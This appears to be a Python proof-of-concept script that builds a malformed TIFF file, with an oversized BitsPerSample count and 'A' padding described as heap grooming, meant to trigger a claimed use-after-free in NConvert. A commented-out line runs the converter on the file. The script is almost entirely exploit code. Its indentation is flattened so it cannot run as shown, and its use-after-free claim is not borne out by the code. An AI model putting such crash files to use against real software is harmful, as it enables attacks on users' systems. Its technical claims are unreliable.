The following code is for security research and authorized testing only.
python
import os
import struct
# PoC to generate a malformed TIFF file that triggers Use-After-Free
# This is a conceptual PoC based on the vulnerability description.
def generate_poc_tiff(filename):
with open(filename, 'wb') as f:
# TIFF Header (Little Endian)
# Byte order: II (0x4949)
f.write(struct.pack('<H', 0x4949))
# Version: 42
f.write(struct.pack('<H', 0x002A))
# Offset to first IFD (Image File Directory)
# Pointing to offset 8 for simplicity
f.write(struct.pack('<I', 8))
# Malformed IFD to trigger parsing logic errors
# Number of directory entries
f.write(struct.pack('<H', 1))
# Directory Entry Tag (Example: BitsPerSample)
f.write(struct.pack('<H', 0x0102))
# Type (SHORT)
f.write(struct.pack('<H', 0x0003))
# Count (Large number to potentially cause overflow or bad allocation)
f.write(struct.pack('<I', 0xFFFFFFFF))
# Value/Offset
f.write(struct.pack('<I', 0x00000000))
# Next IFD offset (0 = end of chain)
f.write(struct.pack('<I', 0x00000000))
# Padding junk data often helps in heap grooming
f.write(b'A' * 100)
if __name__ == "__main__":
poc_file = "crash_poc.tiff"
generate_poc_tiff(poc_file)
# Execute NConvert with the PoC file (Path needs to be adjusted)
# os.system(f"nconvert {poc_file}")
print(f"PoC file generated: {poc_file}")